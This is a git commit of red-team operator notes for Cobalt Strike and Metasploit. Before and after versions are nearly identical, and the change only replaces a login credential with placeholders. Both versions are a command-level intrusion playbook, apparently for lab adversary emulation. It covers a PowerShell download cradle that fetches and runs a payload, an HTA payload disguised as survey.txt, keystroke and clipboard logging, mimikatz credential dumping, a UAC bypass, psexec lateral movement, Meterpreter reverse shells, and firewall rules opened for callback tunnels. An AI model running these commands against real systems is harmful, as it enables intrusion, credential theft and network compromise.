<commit_before>Cobalt Strike


Remove old data
    rm /opt/cobaltstrike/data/*.bin

Start the team server
    cd /opt/cobaltstrike
    ./teamserver <IP> <password> <Malleable C2 profile> <kill date for Beacons>
    The first 2 parameters are required.

    ./teamserver 192.168.1.5 password /opt/cobaltstrike/third-party/profiles/APT/etumbot.profile
    Copy the SHA256 hash and send to other members on your team.

Login to the team server
    Right-click in the Terminal > Split Terminal Horizontally
    cd /opt/cobaltstrike
    ./cobaltstrike
    Host: 127.0.0.1
    Port: 50050
    User: neo
    Password: password
    Connect
    VerifyFingerprint (compare with the SHA256 hash) > Yes
------------------------------------------------------------------------------------------------------------------------------------------------------

# HTTP Redirector

Set up an Ubuntu VM, install socat and point it to your CS server.
When creating a listener, use the IP of your Ubuntu VM.

screen
socat TCP4-LISTEN:80,fork TCP4:<CS server IP>:80
------------------------------------------------------------------------------------------------------------------------------------------------------

# Create an HTTP Listener

Cobalt Strike > Listeners > Add
Name: Initial access
Payload: Beacon HTTP
HTTP Hosts: click the plus sign > you should see your IP address > OK
HTTP Port: 80
Save > OK
------------------------------------------------------------------------------------------------------------------------------------------------------

# Launch an attack to gain a foothold.

Disable Windows Defender on your Windows VM.
    Enterprise: Windows Security > Virus & threat protection > Manage settings > turn off Real-time protection > Yes
    Standard: Windows Defender settings > turn off Real-time protection

Attack 1
    Attacks > Web Drive-by > Scripted Web Delivery (S)
    URI Path: /a
    Local Host: (same IP as your server)
    Local Port: 80 (same port as your Listener)
    Listener: Initial access > Choose
    Type: powershell
    Check Use x64 payload
    Launch

    Copy the download cradle provided > OK
    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.5:80/a'))"

    Open a Command Prompt on your Windows VM and run the download cradle.

Click on Cobalt Strike and you will see a Beacon session appear in the top pane.

Interact with the Beacon
    Right-click on the Beacon > Interact
    sleep 2                                       Have the Beacon check in once every 2 seconds
    help
    help <command>

Clean up
    exit
    Right click on the Beacon > Session > Remove
    Attacks > Web Drive-by > Manage
    Select each line > Kill
    Liteners > Restart > OK

Attack 2
    Attacks > Packages > HTML Application
    Listener: Initial access > Choose
    Method: Executable
    Generate
    /root/evil.hta
    Save > OK

    Attacks > Web Drive-by > Host File
    File: /root/evil.hta > Open
    Local URI: /survey.txt
    Local Host: 192.168.1.5
    Local Port: 80
    Mime Type: automatic
    Launch > OK

    Copy the URI provided > OK

    Open Internet Explorer on your Wibndows VM to http://192.168.1.5/survey.txt
    Open > Allow
    Click on Cobalt Strike and you will see a Beacon session appear in the top pane.
------------------------------------------------------------------------------------------------------------------------------------------------------

View > Web Log is helpful to know when HTTP requests are hitting your team server.
Use the up arrow to scroll through previous commands.
Beacon is fully tab-completable.
All commands and their output are written to the logs directory.
ctrl+k will clear the current window.
------------------------------------------------------------------------------------------------------------------------------------------------------

# Enumerate host

getuid                                            Get User ID
ps                                                Show process list

keylogger <PID> x64                               Inject a keystroke logger into a process
                                                    View > Keylogger > select item in lower left pane

https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1
psinject <PID> x64 Start-ClipboardMonitor -CollectionLimit 5

screenshot <PID> x64                              Take a screenshot
                                                    View > Screenshots > select item in lower left pane

pwd                                               Print current directory
ls                                                List files
drives                                            List drives on target

shell tasklist
shell ver
shell ipconfig /all
shell arp -a
shell systeminfo                                  System info
shell net time                                    Show time for a host
shell netstat -ano
shell whoami
shell net start
shell qprocess

net computers                                     List hosts in a domain (groups)
net domain                                        Display domain for this host
net dclist                                        List domain controllers
net domain_controllers                            List DCs in a domain (groups)
net domain_trusts                                 List domain trusts
shell net accounts                                Policy settings for user accounts
net user                                          List users and user information
net group                                         List groups and users in groups
net localgroup                                    List local groups and users in local groups
net localgroup Users                              Show users in the Users security group
net localgroup Administrators                     Show users in the Administrators security group
net logons                                        List users logged onto a host
net sessions                                      List sessions on a host
net share                                         List shares on a host

net view                                          List hosts in a domain (browser service)

jobs                                              List long-running post-exploitation tasks. Look for keylogger JID
jobkill <JID>                                     Kill a long-running post-exploitation task. Kill the keylogger using its JID
jobs                                              Verify the keylogger is no longer running

Seatbelt
    Download https://github.com/GhostPack/Seatbelt to a Windows attack VM.
    Open C:\Downloads\Seatbelt\Seatbelt.sln with Visual Studio.
    Build > Build Solution.
    There will be no output on the screen.
    This wil compile to C:\Downloads\Seatbelt\Seatbelt\bin\Debug\Seatbelt.exe.
    Transfer this file to your Kali VM or run Cobalt Strike from the same Windows VM.
    beacon> execute-assembly /opt/Seatbelt.exe -group=system
------------------------------------------------------------------------------------------------------------------------------------------------------

# PowerShell weaponization

powershell <cmdlet> <args>                        Starts powershell.exe
powerpick <cmdlet> <args>                         Spawns a sacrificial process specified by spawnto and injects unmanaged PS into it
psinject <PID> <arch> <cmdlet> <args>             Injects unmanaged PS into a specified process
------------------------------------------------------------------------------------------------------------------------------------------------------

# Escalate privileges

powershell-import /opt/PowerSploit/Privesc/PowerUp.ps1
powershell Invoke-PrivescAudit

SharpUp is a C# port of PowerUp, not all checks are ported.
execute-assembly /opt/GhostPack/SharpUp/SharpUp.exe

powerpick Invoke-ServiceAbuse -Name 'crappy-service'
spawnas john Password<PASSWORD>! smb
Select john in the top pane > right-click > Interact
bypassuac http

john should now be running in a high integrity Beacon (see asterisk)

Dump passwords
    logonpasswords
    menu View > Credentials

    ps
    Look for another user logged in and copy the PID of their process.
    inject <PID> <arch> <listener>
    inject 5678 x64 smb
    Select the new user in the top pane > right-click > Interact
------------------------------------------------------------------------------------------------------------------------------------------------------

Bypass UAC

elevate uac-token-duplication
------------------------------------------------------------------------------------------------------------------------------------------------------

Lateral Movement

Always use a FQDN instead of an IP.
------------------------------------------------------------------------------------------------------------------------------------------------------

# Emulate lateral movement between one victim egress host and four other hosts, that uses SMB for lateral
  movement, as well as follow-on victim to victim communications.

Controller domain: acme.org
Controller IP: x.x.x.x

ifconfig eth0 add x.x.x.x
cd /opt/cobaltstrike
rm data/*.bin
./teamserver 192.168.1.5 password /opt/cobaltstrike/third-party/profiles/APT/etumbot.profile

Start Cobalt Strike and point to localhost.

Create http and smb listeners.

Launch an attack to gain a foothold.

Login to wkstn-02 as Administrator, open a command prompt, and paste in the PowerShell.
You should have an http Beacon on Cobalt Strike in about 10 sec.

Right-click on the new http Beacon > Interact
sleep 2                                           Make the Beacon interactive
note foothold
ps                                                Look for another user logged in
inject <PID> <Arch> <listener>
inject 5678 x64 smb
Right-click on the new smb Beacon > Interact
hashdump                                          Recover local account password hashes
logonpasswords                                    Harvest credentials with mimikatz
View > Credentials

net view /domain                                  Show the domain
make_token site\administrator password
net group "Domain Computers" /DOMAIN              Show computers joined to the domain
shell nltest /dclist:SITE                         Locate the domain controller
ls \\wkuser-70\C$                                 Test remote access
psexec_psh wkuser-70 smb                          You should have a new smb Beacon in about 10 sec

Right-click on the new smb Beacon > Interact
sleep 2                                           Have the Beacon check in once every 2 seconds
note 1st hop
ps
hashdump
logonpasswords
make_token site\administrator password
ls \\site-file\C$
psexec_psh site-file smb

Right-click on the new http Beacon > Interact
sleep 2                                           Have the Beacon check in once every 2 seconds
note 2nd hop
ps
hashdump
logonpasswords
make_token site\administrator password
ls \\site-dc\C$
psexec_psh site-dc smb	
	
Right-click on the new http Beacon > Interact
sleep 2                                           Have the Beacon check in once every 2 seconds
note 3rd hop
------------------------------------------------------------------------------------------------------------------------------------------------------

# Misc notes

# Catch the callback from wkstn-04
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 172.16.58.3
set lport 443
run
migrate -N explorer.exe

# Make tunnels for wkuser-66
upload fpipeknockoff.windows.amd64.exe s:\\
shell
netsh advfirewall firewall delete rule  name="fpipeknockoff" program="\\site-file\share\fpipeknockoff.windows.amd64.exe" & netsh advfirewall firewall add rule name="fpipeknockoff" dir=in action=allow program="\\site-file\share\fpipeknockoff.windows.amd64.exe" enable=yes & \\site-file\share\fpipeknockoff.windows.amd64.exe -c 172.16.58.3:443 <NUL >NUL 2>NUL & exit
run post/multi/manage/autoroute CMD=add netmask=/32 subnet=172.31.2.66
background

# Make connection to wkuser-66
use exploit/windows/smb/psexec_psh
set payload windows/x64/meterpreter/reverse_tcp
set rhost 172.31.2.66
set service_name acme
set smbdomain site
set smbpass password
set smbuser administrator
set lhost 172.31.2.6
set lport 4444
set ReverseListenerBindAddress 0.0.0.0
set ReverseListenerBindPort 443
run
migrate -N svchost.exe

# Make tunnels for site-mail
shell
netsh advfirewall firewall delete rule name="fpipeknockoff" program="\\site-file\share\fpipeknockoff.windows.amd64.exe" & netsh advfirewall firewall add rule name="fpipeknockoff" dir=in action=allow program="\\site-file\share\fpipeknockoff.windows.amd64.exe" enable=yes & \\site-file\share\fpipeknockoff.windows.amd64.exe -c 172.31.2.6:4444 & exit
run post/multi/manage/autoroute CMD=add netmask=/32 subnet=172.31.4.9
background

# Make connection to site-mail
use exploit/windows/smb/psexec_psh
set payload windows/x64/meterpreter/reverse_tcp
set rhost 172.31.4.9
set service_name acme
set smbdomain site
set smbpass password
set smbuser administrator
set lhost 172.31.2.66
set lport 4444
set ReverseListenerBindAddress 0.0.0.0
set ReverseListenerBindPort 443
run
migrate -N svchost.exe

# Make tunnels to wkuser-72
shell
netsh advfirewall firewall delete rule  name="fpipeknockoff" program="\\site-file\share\fpipeknockoff.windows.amd64.exe" & netsh advfirewall firewall add rule name="fpipeknockoff" dir=in action=allow program="\\site-file\share\fpipeknockoff.windows.amd64.exe" enable=yes & \\site-file\share\fpipeknockoff.windows.amd64.exe -c 172.31.2.66:4444 & exit
run post/multi/manage/autoroute CMD=add netmask=/32 subnet=172.31.2.72
background

# Make connection to wkuser-72
use exploit/windows/smb/psexec_psh
set payload windows/x64/meterpreter/reverse_tcp
set rhost 172.31.2.72
set service_name acme
set smbdomain site
set smbpass password
set smbuser administrator
set lhost 172.31.4.9
set lport 4444
set ReverseListenerBindAddress 0.0.0.0
set ReverseListenerBindPort 443
run
migrate -N svchost.exe

<commit_msg>Updated CS notes.<commit_after>Cobalt Strike


Remove old data
    rm /opt/cobaltstrike/data/*.bin

Start the team server
    cd /opt/cobaltstrike
    ./teamserver <IP> <password> <Malleable C2 profile> <kill date for Beacons>
    The first 2 parameters are required.

    ./teamserver 192.168.1.5 password /opt/cobaltstrike/third-party/profiles/APT/etumbot.profile
    Copy the SHA256 hash and send to other members on your team.

Login to the team server
    Right-click in the Terminal > Split Terminal Horizontally
    cd /opt/cobaltstrike
    ./cobaltstrike
    Host: 127.0.0.1
    Port: 50050
    User: <your first name>
    Password: <<PASSWORD>>
    Connect
    VerifyFingerprint (compare with the SHA256 hash) > Yes
------------------------------------------------------------------------------------------------------------------------------------------------------

# HTTP Redirector

Set up an Ubuntu VM, install socat and point it to your CS server.
When creating a listener, use the IP of your Ubuntu VM.

screen
socat TCP4-LISTEN:80,fork TCP4:<CS server IP>:80
------------------------------------------------------------------------------------------------------------------------------------------------------

# Create an HTTP Listener

Cobalt Strike > Listeners > Add
Name: Initial access
Payload: Beacon HTTP
HTTP Hosts: click the plus sign > you should see your IP address > OK
HTTP Port: 80
Save > OK
------------------------------------------------------------------------------------------------------------------------------------------------------

# Launch an attack to gain a foothold.

Disable Windows Defender on your Windows VM.
    Enterprise: Windows Security > Virus & threat protection > Manage settings > turn off Real-time protection > Yes
    Standard: Windows Defender settings > turn off Real-time protection

Attack 1
    Attacks > Web Drive-by > Scripted Web Delivery (S)
    URI Path: /a
    Local Host: (same IP as your server)
    Local Port: 80 (same port as your Listener)
    Listener: Initial access > Choose
    Type: powershell
    Check Use x64 payload
    Launch

    Copy the download cradle provided > OK
    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.5:80/a'))"

    Open a Command Prompt on your Windows VM and run the download cradle.

Click on Cobalt Strike and you will see a Beacon session appear in the top pane.

Interact with the Beacon
    Right-click on the Beacon > Interact
    sleep 2                                       Have the Beacon check in once every 2 seconds
    help
    help <command>

Clean up
    exit
    Right click on the Beacon > Session > Remove
    Attacks > Web Drive-by > Manage
    Select each line > Kill
    Liteners > Restart > OK

Attack 2
    Attacks > Packages > HTML Application
    Listener: Initial access > Choose
    Method: Executable
    Generate
    /root/evil.hta
    Save > OK

    Attacks > Web Drive-by > Host File
    File: /root/evil.hta > Open
    Local URI: /survey.txt
    Local Host: 192.168.1.5
    Local Port: 80
    Mime Type: automatic
    Launch > OK

    Copy the URI provided > OK

    Open Internet Explorer on your Wibndows VM to http://192.168.1.5/survey.txt
    Open > Allow
    Click on Cobalt Strike and you will see a Beacon session appear in the top pane.
------------------------------------------------------------------------------------------------------------------------------------------------------

View > Web Log is helpful to know when HTTP requests are hitting your team server.
Use the up arrow to scroll through previous commands.
Beacon is fully tab-completable.
All commands and their output are written to the logs directory.
ctrl+k will clear the current window.
------------------------------------------------------------------------------------------------------------------------------------------------------

# Enumerate host

getuid                                            Get User ID
ps                                                Show process list

keylogger <PID> x64                               Inject a keystroke logger into a process
                                                    View > Keylogger > select item in lower left pane

https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1
psinject <PID> x64 Start-ClipboardMonitor -CollectionLimit 5

screenshot <PID> x64                              Take a screenshot
                                                    View > Screenshots > select item in lower left pane

pwd                                               Print current directory
ls                                                List files
drives                                            List drives on target

shell tasklist
shell ver
shell ipconfig /all
shell arp -a
shell systeminfo                                  System info
shell net time                                    Show time for a host
shell netstat -ano
shell whoami
shell net start
shell qprocess

net computers                                     List hosts in a domain (groups)
net domain                                        Display domain for this host
net dclist                                        List domain controllers
net domain_controllers                            List DCs in a domain (groups)
net domain_trusts                                 List domain trusts
shell net accounts                                Policy settings for user accounts
net user                                          List users and user information
net group                                         List groups and users in groups
net localgroup                                    List local groups and users in local groups
net localgroup Users                              Show users in the Users security group
net localgroup Administrators                     Show users in the Administrators security group
net logons                                        List users logged onto a host
net sessions                                      List sessions on a host
net share                                         List shares on a host

net view                                          List hosts in a domain (browser service)

jobs                                              List long-running post-exploitation tasks. Look for keylogger JID
jobkill <JID>                                     Kill a long-running post-exploitation task. Kill the keylogger using its JID
jobs                                              Verify the keylogger is no longer running

Seatbelt
    Download https://github.com/GhostPack/Seatbelt to a Windows attack VM.
    Open C:\Downloads\Seatbelt\Seatbelt.sln with Visual Studio.
    Build > Build Solution.
    There will be no output on the screen.
    This wil compile to C:\Downloads\Seatbelt\Seatbelt\bin\Debug\Seatbelt.exe.
    Transfer this file to your Kali VM or run Cobalt Strike from the same Windows VM.
    beacon> execute-assembly /opt/Seatbelt.exe -group=system
------------------------------------------------------------------------------------------------------------------------------------------------------

# PowerShell weaponization

powershell <cmdlet> <args>                        Starts powershell.exe
powerpick <cmdlet> <args>                         Spawns a sacrificial process specified by spawnto and injects unmanaged PS into it
psinject <PID> <arch> <cmdlet> <args>             Injects unmanaged PS into a specified process
------------------------------------------------------------------------------------------------------------------------------------------------------

# Escalate privileges

powershell-import /opt/PowerSploit/Privesc/PowerUp.ps1
powershell Invoke-PrivescAudit

SharpUp is a C# port of PowerUp, not all checks are ported.
execute-assembly /opt/GhostPack/SharpUp/SharpUp.exe

powerpick Invoke-ServiceAbuse -Name 'crappy-service'
spawnas john Password<PASSWORD>! smb
Select john in the top pane > right-click > Interact
bypassuac http

john should now be running in a high integrity Beacon (see asterisk)

Dump passwords
    logonpasswords
    menu View > Credentials

    ps
    Look for another user logged in and copy the PID of their process.
    inject <PID> <arch> <listener>
    inject 5678 x64 smb
    Select the new user in the top pane > right-click > Interact
------------------------------------------------------------------------------------------------------------------------------------------------------

Bypass UAC

elevate uac-token-duplication
------------------------------------------------------------------------------------------------------------------------------------------------------

Lateral Movement

Always use a FQDN instead of an IP.
------------------------------------------------------------------------------------------------------------------------------------------------------

# Emulate lateral movement between one victim egress host and four other hosts, that uses SMB for lateral
  movement, as well as follow-on victim to victim communications.

Controller domain: acme.org
Controller IP: x.x.x.x

ifconfig eth0 add x.x.x.x
cd /opt/cobaltstrike
rm data/*.bin
./teamserver 192.168.1.5 password /opt/cobaltstrike/third-party/profiles/APT/etumbot.profile

Start Cobalt Strike and point to localhost.

Create http and smb listeners.

Launch an attack to gain a foothold.

Login to wkstn-02 as Administrator, open a command prompt, and paste in the PowerShell.
You should have an http Beacon on Cobalt Strike in about 10 sec.

Right-click on the new http Beacon > Interact
sleep 2                                           Make the Beacon interactive
note foothold
ps                                                Look for another user logged in
inject <PID> <Arch> <listener>
inject 5678 x64 smb
Right-click on the new smb Beacon > Interact
hashdump                                          Recover local account password hashes
logonpasswords                                    Harvest credentials with mimikatz
View > Credentials

net view /domain                                  Show the domain
make_token site\administrator password
net group "Domain Computers" /DOMAIN              Show computers joined to the domain
shell nltest /dclist:SITE                         Locate the domain controller
ls \\wkuser-70\C$                                 Test remote access
psexec_psh wkuser-70 smb                          You should have a new smb Beacon in about 10 sec

Right-click on the new smb Beacon > Interact
sleep 2                                           Have the Beacon check in once every 2 seconds
note 1st hop
ps
hashdump
logonpasswords
make_token site\administrator password
ls \\site-file\C$
psexec_psh site-file smb

Right-click on the new http Beacon > Interact
sleep 2                                           Have the Beacon check in once every 2 seconds
note 2nd hop
ps
hashdump
logonpasswords
make_token site\administrator password
ls \\site-dc\C$
psexec_psh site-dc smb	
	
Right-click on the new http Beacon > Interact
sleep 2                                           Have the Beacon check in once every 2 seconds
note 3rd hop
------------------------------------------------------------------------------------------------------------------------------------------------------

# Misc notes

# Catch the callback from wkstn-04
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 172.16.58.3
set lport 443
run
migrate -N explorer.exe

# Make tunnels for wkuser-66
upload fpipeknockoff.windows.amd64.exe s:\\
shell
netsh advfirewall firewall delete rule  name="fpipeknockoff" program="\\site-file\share\fpipeknockoff.windows.amd64.exe" & netsh advfirewall firewall add rule name="fpipeknockoff" dir=in action=allow program="\\site-file\share\fpipeknockoff.windows.amd64.exe" enable=yes & \\site-file\share\fpipeknockoff.windows.amd64.exe -c 172.16.58.3:443 <NUL >NUL 2>NUL & exit
run post/multi/manage/autoroute CMD=add netmask=/32 subnet=172.31.2.66
background

# Make connection to wkuser-66
use exploit/windows/smb/psexec_psh
set payload windows/x64/meterpreter/reverse_tcp
set rhost 172.31.2.66
set service_name acme
set smbdomain site
set smbpass password
set smbuser administrator
set lhost 172.31.2.6
set lport 4444
set ReverseListenerBindAddress 0.0.0.0
set ReverseListenerBindPort 443
run
migrate -N svchost.exe

# Make tunnels for site-mail
shell
netsh advfirewall firewall delete rule name="fpipeknockoff" program="\\site-file\share\fpipeknockoff.windows.amd64.exe" & netsh advfirewall firewall add rule name="fpipeknockoff" dir=in action=allow program="\\site-file\share\fpipeknockoff.windows.amd64.exe" enable=yes & \\site-file\share\fpipeknockoff.windows.amd64.exe -c 172.31.2.6:4444 & exit
run post/multi/manage/autoroute CMD=add netmask=/32 subnet=172.31.4.9
background

# Make connection to site-mail
use exploit/windows/smb/psexec_psh
set payload windows/x64/meterpreter/reverse_tcp
set rhost 172.31.4.9
set service_name acme
set smbdomain site
set smbpass password
set smbuser administrator
set lhost 172.31.2.66
set lport 4444
set ReverseListenerBindAddress 0.0.0.0
set ReverseListenerBindPort 443
run
migrate -N svchost.exe

# Make tunnels to wkuser-72
shell
netsh advfirewall firewall delete rule  name="fpipeknockoff" program="\\site-file\share\fpipeknockoff.windows.amd64.exe" & netsh advfirewall firewall add rule name="fpipeknockoff" dir=in action=allow program="\\site-file\share\fpipeknockoff.windows.amd64.exe" enable=yes & \\site-file\share\fpipeknockoff.windows.amd64.exe -c 172.31.2.66:4444 & exit
run post/multi/manage/autoroute CMD=add netmask=/32 subnet=172.31.2.72
background

# Make connection to wkuser-72
use exploit/windows/smb/psexec_psh
set payload windows/x64/meterpreter/reverse_tcp
set rhost 172.31.2.72
set service_name acme
set smbdomain site
set smbpass password
set smbuser administrator
set lhost 172.31.4.9
set lport 4444
set ReverseListenerBindAddress 0.0.0.0
set ReverseListenerBindPort 443
run
migrate -N svchost.exe


{'fraction_non_alphanumeric': 0.16449188000851003, 'fraction_numerical': 0.022197007304446494, 'mean_word_length': 1.5826923076923076, 'pattern_counts': {'":': 0, '<': 58, '<?xml version=': 0, '>': 164, 'https://': 4, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 44, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 136, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '1037781', 'n_tokens_mistral': 7461, 'n_tokens_neox': 6744, 'n_words': 2718}